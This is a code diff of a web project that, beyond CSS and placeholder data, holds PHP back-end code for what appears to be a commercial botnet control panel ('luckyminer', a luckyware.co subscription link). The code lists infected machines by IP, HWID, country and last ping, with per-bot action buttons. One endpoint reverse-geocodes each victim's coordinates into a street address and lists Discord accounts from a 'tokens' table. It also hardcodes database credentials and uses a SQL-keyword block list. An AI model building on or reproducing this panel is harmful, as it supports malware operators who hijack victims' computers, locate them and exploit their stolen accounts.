||||
}
|
||||
.icon {
|
||||
transition: linear 0.3s;
|
||||
}
|
||||
.btn:hover .icon {
|
||||
color: var(--main-color);
|
||||
}
|
||||
|
||||
.icon2 {
|
||||
transition: linear 0.3s;
|
||||
}
|
||||
.btn2:hover .icon2 {
|
||||
color: var(--main-color);
|
||||
}
|
||||
|
||||
.iconB {
|
||||
transition: linear 0.3s;
|
||||
}
|
||||
.btnB:hover .iconB {
|
||||
color: black;
|
||||
}
|
||||
|
||||
input::placeholder {
|
||||
color: rgb(207, 203, 202);
|
||||
}
|
||||
input:focus {
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.container {
|
||||
height: 100vh;
|
||||
max-width: 600px;
|
||||
margin: auto;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.drop-in1 {
|
||||
transition: linear;
|
||||
animation: drop-in 1s ease 200ms backwards;
|
||||
animation-delay: 500ms; /* Add a 500ms delay before starting the animation */
|
||||
}
|
||||
.drop-in2 {
|
||||
transition: linear;
|
||||
animation: drop-in 1s ease 200ms backwards;
|
||||
animation-delay: 1000ms; /* Add a 500ms delay before starting the animation */
|
||||
}
|
||||
.drop-in3 {
|
||||
transition: linear;
|
||||
animation: drop-in 1s ease 200ms backwards;
|
||||
animation-delay: 1500ms; /* Add a 500ms delay before starting the animation */
|
||||
}
|
||||
.drop-in4 {
|
||||
transition: linear;
|
||||
animation: drop-in 1s ease 200ms backwards;
|
||||
animation-delay: 2000ms; /* Add a 500ms delay before starting the animation */
|
||||
}
|
||||
.drop-in5 {
|
||||
transition: linear;
|
||||
transform: perspective(300px) rotateY(-2deg);
|
||||
animation: drop-in 1s ease 100ms backwards;
|
||||
animation-delay: 1300ms; /* Add a 500ms delay before starting the animation */
|
||||
}
|
||||
.drop-in6 {
|
||||
transition: linear;
|
||||
animation: drop-in 1s ease 200ms backwards;
|
||||
animation-delay: 3000ms; /* Add a 500ms delay before starting the animation */
|
||||
}
|
||||
.drop-in7 {
|
||||
transition: linear;
|
||||
animation: drop-in 1s ease 200ms backwards;
|
||||
animation-delay: 3200ms; /* Add a 500ms delay before starting the animation */
|
||||
}
|
||||
.drop-in8 {
|
||||
transition: linear;
|
||||
animation: drop-in 1s ease 200ms backwards;
|
||||
animation-delay: 4000ms; /* Add a 500ms delay before starting the animation */
|
||||
}
|
||||
|
||||
@keyframes drop-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: translateY(-100px);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
transform: translate(0px);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
.even {
|
||||
border-radius: 2rem;
|
||||
}
|
||||
@@ -0,0 +1,221 @@
|
||||
@import url('https://fonts.googleapis.com/css2?family=Nunito+Sans&display=swap'); /* Nunito */
|
||||
@import url('https://fonts.googleapis.com/css2?family=Kanit&display=swap'); /* Kanit */
|
||||
@import url('https://fonts.googleapis.com/css2?family=Poppins&display=swap'); /* Poppins */
|
||||
|
||||
::-webkit-scrollbar {
|
||||
width: 0;
|
||||
}
|
||||
/* ONLY CHANGE THESE COLORS */
|
||||
:root {
|
||||
--background: #111111;
|
||||
--secondary-background: #151515;
|
||||
--main-color: #850000;
|
||||
--main-hover-color: #258efe;
|
||||
--discord-col: #7289DA;
|
||||
--paypal: #253B80;
|
||||
}
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
/* custom colors for html code */
|
||||
.bg {
|
||||
background-color: var(--background);
|
||||
}
|
||||
.bgGreen {
|
||||
background-color: #68FF19; /* You can replace 'green' with your desired green color */
|
||||
}
|
||||
.transBg {
|
||||
background-color: rgba(10, 11, 12, 0.3);
|
||||
}
|
||||
.dg {
|
||||
background-color: var(--secondary-background);
|
||||
}
|
||||
.bgCol {
|
||||
background-color: var(--main-color);
|
||||
}
|
||||
.bgTrans {
|
||||
background-color: rgba(37, 142, 254, 0.5);
|
||||
}
|
||||
.bgCol-hover:hover {
|
||||
background-color: var(--main-hover-color);
|
||||
}
|
||||
.textCol {
|
||||
color: var(--main-color);
|
||||
}
|
||||
.textCol-hover {
|
||||
transition: 0.3s linear;
|
||||
}
|
||||
.textCol-hover:hover {
|
||||
color: var(--main-color);
|
||||
}
|
||||
.textPaypal {
|
||||
color: var(--paypal);
|
||||
}
|
||||
.dcBg {
|
||||
background-color: var(--discord-col);
|
||||
}
|
||||
|
||||
|
||||
.colShwHvr {
|
||||
box-shadow: 0px 0px 2px 1px var(--background);
|
||||
transition: 0.3s linear;
|
||||
}
|
||||
.colShwHvr-left:hover {
|
||||
box-shadow: 0px 0px 2px 1px var(--main-color);
|
||||
transform: perspective(300px) rotateY(2deg);
|
||||
}
|
||||
.colShwHvr-center:hover {
|
||||
box-shadow: 0px 0px 2px 1px var(--main-color);
|
||||
-webkit-transform: scale(2);
|
||||
transform: scale(1.03);
|
||||
}
|
||||
.colShwHvr-right:hover {
|
||||
box-shadow: 0px 0px 2px 1px var(--main-color);
|
||||
transform: perspective(300px) rotateY(-2deg);
|
||||
}
|
||||
.colShwHvr-right-img:hover {
|
||||
transform: perspective(300px) rotateY(-2deg);
|
||||
}
|
||||
|
||||
|
||||
.brdCol {
|
||||
border-color: var(--main-color);
|
||||
}
|
||||
.brdBg {
|
||||
border-color: var(--background);
|
||||
}
|
||||
.brdDg {
|
||||
border-color: var(--secondary-background);
|
||||
}
|
||||
.discordCol {
|
||||
background-color: var(--discord-col);
|
||||
}
|
||||
.fnt {
|
||||
font-family: 'Nunito Sans', sans-serif;
|
||||
}
|
||||
.fntBold {
|
||||
font-family: 'Kanit', sans-serif;
|
||||
}
|
||||
.fntPoppins {
|
||||
font-family: 'Poppins', sans-serif;
|
||||
}
|
||||
.content {
|
||||
max-width: 90rem;
|
||||
margin-inline: auto;
|
||||
}
|
||||
.contentLogin {
|
||||
max-width: 40rem;
|
||||
margin-inline: auto;
|
||||
}
|
||||
.miAuto {
|
||||
margin-inline: auto;
|
||||
}
|
||||
|
||||
.card1 {
|
||||
transform: perspective(300px) rotateY(2deg);
|
||||
transition: 0.3s linear;
|
||||
}
|
||||
.card2 {
|
||||
transform: perspective(300px) rotateY(-2deg);
|
||||
transition: 0.3s linear;
|
||||
}
|
||||
.card3 {
|
||||
transform: perspective(300px) rotateY(2deg);
|
||||
transition: 0.3s linear;
|
||||
}
|
||||
.card4 {
|
||||
transform: perspective(300px) rotateY(-2deg);
|
||||
transition: 0.3s linear;
|
||||
}
|
||||
|
||||
|
||||
@keyframes spin {
|
||||
0% {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
.spin {
|
||||
animation: spin 0.2s linear infinite;
|
||||
}
|
||||
.spin img {
|
||||
overflow-clip-margin: content-box;
|
||||
overflow: clip;
|
||||
}
|
||||
|
||||
|
||||
/* Status Colors */
|
||||
.green {
|
||||
color: #15803d;
|
||||
}
|
||||
.greenTrans {
|
||||
background-color: rgba(21, 128, 61, 0.2);
|
||||
}
|
||||
|
||||
/* Extra */
|
||||
|
||||
.sdwLight {
|
||||
box-shadow: 0px 0px 2px 1px black;
|
||||
}
|
||||
.moidgndnfg {
|
||||
height: 58rem;
|
||||
}
|
||||
.transStore {
|
||||
background-color: rgba(10, 10, 10, 0.7);
|
||||
}
|
||||
.dgmnojdfng {
|
||||
width: 21rem;
|
||||
}
|
||||
.gmodgnodfngdfgg {
|
||||
margin-right: 1.5rem;
|
||||
}
|
||||
.gmodgnodfngdfg {
|
||||
margin-right: 4.55rem;
|
||||
}
|
||||
.dgmnojdfngtryr {
|
||||
width: 35rem;
|
||||
}
|
||||
.dmfgodfng {
|
||||
width: 21rem;
|
||||
}
|
||||
|
||||
|
||||
.typewriter-text {
|
||||
display: inline-block;
|
||||
overflow: hidden;
|
||||
animation: typing 3s steps(30, end);
|
||||
}
|
||||
|
||||
@keyframes typing {
|
||||
from {
|
||||
width: 0;
|
||||
}
|
||||
to {
|
||||
width: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
.typewriter-text2 {
|
||||
display: inline-block;
|
||||
overflow: hidden;
|
||||
animation: typing 3s steps(30, end);
|
||||
}
|
||||
|
||||
@keyframes typing {
|
||||
from {
|
||||
width: 0;
|
||||
}
|
||||
to {
|
||||
width: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
.customHomeWidthForTwext {
|
||||
width: 40rem;
|
||||
}
|
||||
|
||||
.maxHeight {
|
||||
height: 52rem;
|
||||
}
|
||||
|
After Width: | Height: | Size: 1.1 KiB |
|
After Width: | Height: | Size: 191 KiB |
|
After Width: | Height: | Size: 954 B |
|
After Width: | Height: | Size: 57 KiB |
|
After Width: | Height: | Size: 67 KiB |
|
After Width: | Height: | Size: 274 KiB |
|
After Width: | Height: | Size: 1.5 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 602 B |
|
After Width: | Height: | Size: 1.6 KiB |
@@ -0,0 +1,19 @@
|
||||
function checkForExe() {
|
||||
var buildNameInput = document.getElementById('buildName');
|
||||
|
||||
// Check if the input ends with '.exe'
|
||||
if (buildNameInput.value.toLowerCase().endsWith('.exe')) {
|
||||
alert('Error: File extension ".exe" not allowed.');
|
||||
buildNameInput.value = ''; // Clear the input
|
||||
}
|
||||
}
|
||||
|
||||
function validateForm() {
|
||||
// You can perform additional form validation here if needed
|
||||
return !document.getElementById('buildName').value.toLowerCase().endsWith('.exe');
|
||||
}
|
||||
|
||||
|
||||
///////////////
|
||||
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,293 @@
|
||||
<?php
|
||||
session_start();
|
||||
|
||||
// Set content type to JSON
|
||||
header('Content-Type: application/json');
|
||||
|
||||
// Validate session data
|
||||
$role = $_SESSION['Role'] ?? '';
|
||||
$username = $_SESSION['admin_name'] ?? '';
|
||||
$secretkey = $_SESSION['secret_key'] ?? '';
|
||||
|
||||
/**
|
||||
* Validate string length
|
||||
*/
|
||||
function isStringLengthGreaterThan5($inputString) {
|
||||
return strlen($inputString) > 5;
|
||||
}
|
||||
|
||||
/**
|
||||
* Enhanced input sanitization
|
||||
*/
|
||||
function sanitizeInput($input) {
|
||||
if (!is_string($input)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Define forbidden characters
|
||||
$forbiddenChars = ['(', ')', '=', '*', ';', '--', '/*', '*/', 'union', 'select', 'insert', 'update', 'delete', 'drop'];
|
||||
|
||||
$input_lower = strtolower($input);
|
||||
|
||||
// Check for forbidden characters and SQL keywords
|
||||
foreach ($forbiddenChars as $char) {
|
||||
if (strpos($input_lower, strtolower($char)) !== false) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate user role and permissions
|
||||
*/
|
||||
function validateUserPermissions($role, $username, $secretkey) {
|
||||
if (empty($role) || empty($username) || empty($secretkey)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
|
||||
return in_array($role, $validRoles);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create secure database connection
|
||||
*/
|
||||
function createDatabaseConnection() {
|
||||
$host = 'localhost';
|
||||
$dbname = 'luckyminer';
|
||||
$db_username = 'miner';
|
||||
$db_password = 'Sifre.12345';
|
||||
|
||||
try {
|
||||
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
|
||||
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
|
||||
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
|
||||
return $pdo;
|
||||
} catch (PDOException $e) {
|
||||
error_log("Database connection failed: " . $e->getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Main execution
|
||||
try {
|
||||
// Validate session and permissions
|
||||
if (!validateUserPermissions($role, $username, $secretkey) || !isStringLengthGreaterThan5($secretkey)) {
|
||||
throw new Exception('Invalid session or insufficient permissions');
|
||||
}
|
||||
|
||||
// Validate HTTP method
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
|
||||
throw new Exception('Invalid request method');
|
||||
}
|
||||
|
||||
// Create database connection
|
||||
$pdo = createDatabaseConnection();
|
||||
if (!$pdo) {
|
||||
throw new Exception('Database connection failed');
|
||||
}
|
||||
|
||||
// Validate and sanitize DataTables parameters
|
||||
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
|
||||
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
|
||||
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
|
||||
|
||||
if ($draw === false || $start === false || $length === false) {
|
||||
throw new Exception('Invalid DataTables parameters');
|
||||
}
|
||||
|
||||
// Limit length to prevent excessive data retrieval
|
||||
$length = min($length, 1000);
|
||||
|
||||
// Get and validate search value
|
||||
$searchValue = '';
|
||||
if (isset($_POST['search']['value'])) {
|
||||
$rawSearchValue = $_POST['search']['value'];
|
||||
$sanitizedSearch = sanitizeInput($rawSearchValue);
|
||||
if ($sanitizedSearch !== false && strlen($sanitizedSearch) > 0) {
|
||||
$searchValue = $sanitizedSearch;
|
||||
}
|
||||
}
|
||||
|
||||
// Define sortable columns (whitelist approach)
|
||||
$sortableColumns = [
|
||||
0 => 'PcName',
|
||||
1 => 'IP',
|
||||
2 => 'Country',
|
||||
3 => 'Hardware',
|
||||
4 => 'OS',
|
||||
5 => 'LastPing',
|
||||
6 => 'BotID'
|
||||
];
|
||||
|
||||
// Validate sorting parameters
|
||||
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
|
||||
$orderColumn = 'BotID'; // Default sort column
|
||||
$orderDirection = 'DESC'; // Default sort direction
|
||||
|
||||
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
|
||||
$columnIndex = intval($orderColumnIndex[0]['column']);
|
||||
$direction = strtoupper($orderColumnIndex[0]['dir']);
|
||||
|
||||
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
|
||||
$orderColumn = $sortableColumns[$columnIndex];
|
||||
$orderDirection = $direction;
|
||||
}
|
||||
}
|
||||
|
||||
// Build base query with proper parameter binding
|
||||
$baseWhere = "WHERE 1 = 1";
|
||||
$params = [];
|
||||
|
||||
// Role-based filtering
|
||||
if ($role === "Founder") {
|
||||
if ($username !== "Hopesar") {
|
||||
$baseWhere .= " AND PcName NOT LIKE :exclude_emre AND PcName NOT LIKE :exclude_eozer";
|
||||
$params['exclude_emre'] = '%emre%';
|
||||
$params['exclude_eozer'] = '%eozer%';
|
||||
}
|
||||
} else {
|
||||
$baseWhere .= " AND OwnerID = :owner_id";
|
||||
$params['owner_id'] = $secretkey;
|
||||
}
|
||||
|
||||
// Add search conditions if search value exists
|
||||
$searchWhere = "";
|
||||
if (!empty($searchValue)) {
|
||||
$searchWhere = " AND (
|
||||
PcName LIKE :search1 OR
|
||||
OS LIKE :search2 OR
|
||||
Hardware LIKE :search3 OR
|
||||
HWID LIKE :search4 OR
|
||||
Country LIKE :search5 OR
|
||||
IP LIKE :search6
|
||||
)";
|
||||
$searchPattern = '%' . $searchValue . '%';
|
||||
$params['search1'] = $searchPattern;
|
||||
$params['search2'] = $searchPattern;
|
||||
$params['search3'] = $searchPattern;
|
||||
$params['search4'] = $searchPattern;
|
||||
$params['search5'] = $searchPattern;
|
||||
$params['search6'] = $searchPattern;
|
||||
}
|
||||
|
||||
// Build the main data query
|
||||
$dataQuery = "SELECT BotID, PcName, IP, Country, Hardware, OS, LastPing
|
||||
FROM miners
|
||||
$baseWhere $searchWhere
|
||||
ORDER BY $orderColumn $orderDirection
|
||||
LIMIT :start, :length";
|
||||
|
||||
$stmt = $pdo->prepare($dataQuery);
|
||||
|
||||
// Bind parameters
|
||||
foreach ($params as $key => $value) {
|
||||
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
|
||||
}
|
||||
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
|
||||
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
|
||||
|
||||
$stmt->execute();
|
||||
$results = $stmt->fetchAll();
|
||||
|
||||
// Process results
|
||||
$data = [];
|
||||
$currentTime = time();
|
||||
|
||||
foreach ($results as $row) {
|
||||
// Generate secure buttons HTML
|
||||
$botId = intval($row['BotID']);
|
||||
$buttonsHtml = generateButtonsHtml($botId, $role);
|
||||
|
||||
// Calculate status based on last ping
|
||||
$status = calculateStatus($currentTime, $row['LastPing']);
|
||||
|
||||
$data[] = [
|
||||
htmlspecialchars($row['PcName'], ENT_QUOTES, 'UTF-8'),
|
||||
htmlspecialchars($row['IP'], ENT_QUOTES, 'UTF-8'),
|
||||
htmlspecialchars($row['Country'], ENT_QUOTES, 'UTF-8'),
|
||||
htmlspecialchars($row['Hardware'], ENT_QUOTES, 'UTF-8'),
|
||||
htmlspecialchars($row['OS'], ENT_QUOTES, 'UTF-8'),
|
||||
$status,
|
||||
$buttonsHtml
|
||||
];
|
||||
}
|
||||
|
||||
// Get total count
|
||||
$countQuery = "SELECT COUNT(*) as total FROM miners $baseWhere $searchWhere";
|
||||
$countStmt = $pdo->prepare($countQuery);
|
||||
|
||||
// Bind the same parameters for count query (excluding LIMIT params)
|
||||
foreach ($params as $key => $value) {
|
||||
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
|
||||
}
|
||||
|
||||
$countStmt->execute();
|
||||
$totalRecords = $countStmt->fetch()['total'];
|
||||
|
||||
// Prepare response
|
||||
$response = [
|
||||
'draw' => $draw,
|
||||
'recordsTotal' => intval($totalRecords),
|
||||
'recordsFiltered' => intval($totalRecords),
|
||||
'data' => $data
|
||||
];
|
||||
|
||||
echo json_encode($response, JSON_UNESCAPED_UNICODE);
|
||||
|
||||
} catch (Exception $e) {
|
||||
// Log error and return generic error response
|
||||
error_log("DataTables Error: " . $e->getMessage());
|
||||
|
||||
http_response_code(500);
|
||||
echo json_encode([
|
||||
'draw' => $draw ?? 0,
|
||||
'recordsTotal' => 0,
|
||||
'recordsFiltered' => 0,
|
||||
'data' => [],
|
||||
'error' => 'An error occurred while processing your request'
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate secure buttons HTML
|
||||
*/
|
||||
function generateButtonsHtml($botId, $role) {
|
||||
$botId = intval($botId); // Ensure integer
|
||||
|
||||
$actionButton = ($role === 'Trial')
|
||||
? 'onclick="window.location.href=\'https://luckyware.co/Subscriptions/\'"'
|
||||
: 'onclick="openActions(' . $botId . ')"';
|
||||
|
||||
return '
|
||||
<div class="pt-2">
|
||||
<button class="bg px-4 py-1 rounded text-stone-400 btn2 mr-1" onclick="infoModalOpen(' . $botId . '), modalStart()">
|
||||
<i class="fa-solid fa-info icon2 miAuto text-sm"></i>
|
||||
</button>
|
||||
<button class="bg px-4 py-1 rounded text-stone-400 btn2 mr-1" ' . $actionButton . '>
|
||||
<i class="fa-solid fa-play icon2 miAuto text-sm"></i>
|
||||
</button>
|
||||
<button class="bgCol px-4 py-1 rounded text-stone-300" onclick="deleteRecord(' . $botId . ')">
|
||||
<i class="fa-solid fa-trash miAuto text-sm"></i>
|
||||
</button>
|
||||
</div>
|
||||
';
|
||||
}
|
||||
|
||||
/**
|
||||
* Calculate status based on last ping time
|
||||
*/
|
||||
function calculateStatus($currentTime, $lastPingTimestamp) {
|
||||
$timeDifference = $currentTime - intval($lastPingTimestamp);
|
||||
|
||||
if ($timeDifference <= 250) {
|
||||
return '<span class="status-online-text">Online</span>';
|
||||
} elseif ($timeDifference <= 172800) {
|
||||
return '<span class="status-offline-text">Offline</span>';
|
||||
} else {
|
||||
return '<span class="status-dead-text">Dead</span>';
|
||||
}
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,129 @@
|
||||
<?php
|
||||
session_start();
|
||||
|
||||
$role = $_SESSION['Role'];
|
||||
$secretkey = $_SESSION['secret_key'];
|
||||
|
||||
function isStringLengthGreaterThan5($inputString)
|
||||
{
|
||||
return strlen($inputString) > 5;
|
||||
}
|
||||
|
||||
function convertToEnglish($input)
|
||||
{
|
||||
$transliterationMap = array(
|
||||
'ı' => 'i',
|
||||
'İ' => 'I',
|
||||
'ğ' => 'g',
|
||||
'Ğ' => 'G',
|
||||
'ü' => 'u',
|
||||
'Ü' => 'U',
|
||||
'ş' => 's',
|
||||
'Ş' => 'S',
|
||||
'ö' => 'o',
|
||||
'Ö' => 'O',
|
||||
'ç' => 'c',
|
||||
'Ç' => 'C',
|
||||
'â' => 'a',
|
||||
'Â' => 'A',
|
||||
'î' => 'i',
|
||||
'Î' => 'I',
|
||||
'û' => 'u',
|
||||
'Û' => 'U',
|
||||
'ê' => 'e',
|
||||
'Ê' => 'E',
|
||||
'ô' => 'o',
|
||||
'Ô' => 'O'
|
||||
);
|
||||
|
||||
$englishString = strtr($input, $transliterationMap);
|
||||
return $englishString;
|
||||
}
|
||||
|
||||
function reverseGeocode($latitude, $longitude)
|
||||
{
|
||||
$url = "https://nominatim.openstreetmap.org/reverse?format=json&lat=$latitude&lon=$longitude";
|
||||
|
||||
$headers = array(
|
||||
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
|
||||
"Referer: https://www.example.com" // Replace with your actual website URL
|
||||
);
|
||||
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
|
||||
$response = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
|
||||
$data = json_decode($response, true);
|
||||
|
||||
|
||||
$data = json_decode($response, true);
|
||||
|
||||
if ($data && isset($data['display_name'])) {
|
||||
$display_name = $data['display_name'];
|
||||
return "$display_name";
|
||||
} else {
|
||||
return "Unable to fetch Addres.";
|
||||
}
|
||||
}
|
||||
|
||||
if (isStringLengthGreaterThan5($secretkey)) {
|
||||
|
||||
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
|
||||
if (!$conn) {
|
||||
die("Connection failed: " . mysqli_connect_error());
|
||||
}
|
||||
if (isset($_GET['botId'])) {
|
||||
$botId = intval($_GET['botId']); // Sanitize input
|
||||
|
||||
// First query with prepared statement
|
||||
if ($role == 'Founder') {
|
||||
$sql = "SELECT * FROM miners WHERE BotID = ?";
|
||||
$stmt = mysqli_prepare($conn, $sql);
|
||||
mysqli_stmt_bind_param($stmt, "i", $botId);
|
||||
} else {
|
||||
$sql = "SELECT * FROM miners WHERE BotID = ? AND OwnerID = ?";
|
||||
$stmt = mysqli_prepare($conn, $sql);
|
||||
mysqli_stmt_bind_param($stmt, "is", $botId, $secretkey);
|
||||
}
|
||||
|
||||
mysqli_stmt_execute($stmt);
|
||||
$result = mysqli_stmt_get_result($stmt);
|
||||
|
||||
if ($result && mysqli_num_rows($result) > 0) {
|
||||
$data = mysqli_fetch_assoc($result);
|
||||
$ownerID = $data['OwnerID'];
|
||||
$HWIDPro = $data['HWID'];
|
||||
$CPU = $data['CPU'];
|
||||
$OS = $data['OS'];
|
||||
|
||||
$lat = $data['lat'];
|
||||
$lon = $data['lon'];
|
||||
$data['Addres'] = convertToEnglish(reverseGeocode($lat, $lon));
|
||||
|
||||
// Second query with prepared statement
|
||||
$query = "SELECT Username FROM tokens WHERE HWID = ? AND OwnerID = ?";
|
||||
$stmt2 = mysqli_prepare($conn, $query);
|
||||
mysqli_stmt_bind_param($stmt2, "ss", $HWIDPro, $ownerID);
|
||||
mysqli_stmt_execute($stmt2);
|
||||
$resultunu = mysqli_stmt_get_result($stmt2);
|
||||
|
||||
if ($resultunu) {
|
||||
$discordAccounts = array();
|
||||
while ($row = mysqli_fetch_assoc($resultunu)) {
|
||||
$discordAccounts[] = $row['Username'];
|
||||
}
|
||||
$data['DiscordAccounts'] = implode(' | ', $discordAccounts);
|
||||
} else {
|
||||
$data['DiscordAccounts'] = 'None!';
|
||||
}
|
||||
|
||||
echo json_encode($data);
|
||||
} else {
|
||||
echo json_encode(array("error" => "Data not found"));
|
||||
}
|
||||
} else {
|
||||
}
|
||||
mysqli_close($conn);
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
/* your styles go here */
|
||||
@@ -0,0 +1,112 @@
|
||||
[
|
||||
{
|
||||
"_id": "59c0c8e33b1527bfe2abaf92",
|
||||
"index": 0,
|
||||
"guid": "53178f64-9f01-4394-b9f1-4f2f83bb5924",
|
||||
"isActive": true,
|
||||
"icon": "http://placehold.it/32x32",
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "https://picsum.photos/300/200?image=1063",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Blue Hill",
|
||||
"email": "[email protected]",
|
||||
"phone": "+1 (920) 407-3975",
|
||||
"address": "151 Karweg Place, Waumandee, Iowa, 5508",
|
||||
"about": "Cupidatat excepteur non dolore laborum et quis nostrud veniam dolore deserunt. Pariatur dolore ut in elit id nulla. Irure nostrud sint deserunt enim Lorem. Do eu esse consequat mollit labore commodo officia labore voluptate sit voluptate cupidatat.\r\n",
|
||||
"latitude": 40.73723,
|
||||
"longitude": -73.99967,
|
||||
"tags": [
|
||||
"et",
|
||||
"cupidatat"
|
||||
]
|
||||
},
|
||||
{
|
||||
"_id": "59c0c8e322f3375db4d89128",
|
||||
"index": 1,
|
||||
"guid": "2cbd2629-eba9-40a3-82d0-ceb0e70200ac",
|
||||
"isActive": true,
|
||||
"icon": "http://placehold.it/32x32",
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "https://picsum.photos/300/200?image=1076",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Plutorque",
|
||||
"email": "[email protected]",
|
||||
"phone": "+1 (986) 599-2693",
|
||||
"address": "325 Seton Place, Castleton, Indiana, 3368",
|
||||
"about": "Proident irure eiusmod velit veniam consectetur id minim irure et nostrud mollit magna velit. Commodo amet proident aliqua qui enim exercitation ipsum laborum Lorem. Irure nostrud sint deserunt enim Lorem. Do eu esse consequat mollit labore commodo officia labore voluptate sit voluptate cupidatat.\r\n",
|
||||
"latitude": 40.7384555,
|
||||
"longitude": -73.9906951,
|
||||
"tags": [
|
||||
"magna",
|
||||
"culpa"
|
||||
]
|
||||
},
|
||||
{
|
||||
"_id": "59c0c8e3a31e62979bf147c9",
|
||||
"index": 2,
|
||||
"guid": "e850eea8-0be3-4f81-bf95-acde6594c3ef",
|
||||
"isActive": true,
|
||||
"icon": "http://placehold.it/32x32",
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "https://picsum.photos/300/200?image=1061",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Junipoor",
|
||||
"email": "[email protected]",
|
||||
"phone": "+1 (863) 446-2211",
|
||||
"address": "397 Crystal Street, Idledale, Nebraska, 4692",
|
||||
"about": "Lorem amet ex duis in et fugiat consectetur laborum eiusmod labore. Quis cupidatat et do dolor in in magna. Eu sit quis cillum proident pariatur commodo consequat ea sunt mollit. Ad aliquip aliquip amet occaecat aute incididunt ex sit culpa adipisicing amet officia nisi. Commodo amet proident aliqua qui enim exercitation ipsum laborum Lorem.\r\n",
|
||||
"latitude": 40.732346,
|
||||
"longitude": -74.0014247,
|
||||
"tags": [
|
||||
"ex",
|
||||
"exercitation"
|
||||
]
|
||||
},
|
||||
{
|
||||
"_id": "59c0c8e3503eb77d487e8082",
|
||||
"index": 3,
|
||||
"guid": "b48f4317-44dd-491e-a9e3-37967d880ea5",
|
||||
"isActive": false,
|
||||
"icon": "http://placehold.it/32x32",
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "https://picsum.photos/300/200?image=1054",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Musix",
|
||||
"email": "[email protected]",
|
||||
"phone": "+1 (862) 498-2322",
|
||||
"address": "828 Dewitt Avenue, Wyano, Nevada, 5082",
|
||||
"about": "Deserunt eiusmod Lorem proident consequat elit culpa laboris ea cupidatat. Consequat dolore proident ipsum qui sint enim id in non et duis sunt aute qui. Laboris deserunt enim exercitation do consequat irure dolor ipsum commodo est fugiat qui mollit.\r\n",
|
||||
"latitude": 40.7246413,
|
||||
"longitude": -73.9969277,
|
||||
"tags": [
|
||||
"eiusmod"
|
||||
]
|
||||
},
|
||||
{
|
||||
"_id": "59c0c8e39aa2eed0626e485d",
|
||||
"index": 4,
|
||||
"guid": "1d402f7f-fd00-462f-9875-cc31c7a681a8",
|
||||
"isActive": false,
|
||||
"icon": "http://placehold.it/32x32",
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "https://picsum.photos/300/200?image=1033",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Prosure",
|
||||
"email": "[email protected]",
|
||||
"phone": "+1 (831) 587-2089",
|
||||
"address": "942 Greenpoint Avenue, Northridge, Puerto Rico, 8248",
|
||||
"about": "Cillum sunt reprehenderit ea non irure veniam dolore commodo labore fugiat est consequat velit. Cupidatat nisi qui ad sit ut labore id esse tempor proident enim exercitation est aliquip. Ipsum deserunt dolor proident sunt ut proident esse do pariatur duis incididunt id ullamco. Dolore proident consectetur dolor irure mollit commodo sunt dolore. \r\n",
|
||||
"latitude": 40.741726,
|
||||
"longitude": -73.9893617,
|
||||
"tags": [
|
||||
"nisi",
|
||||
"ex",
|
||||
"eiusmod"
|
||||
]
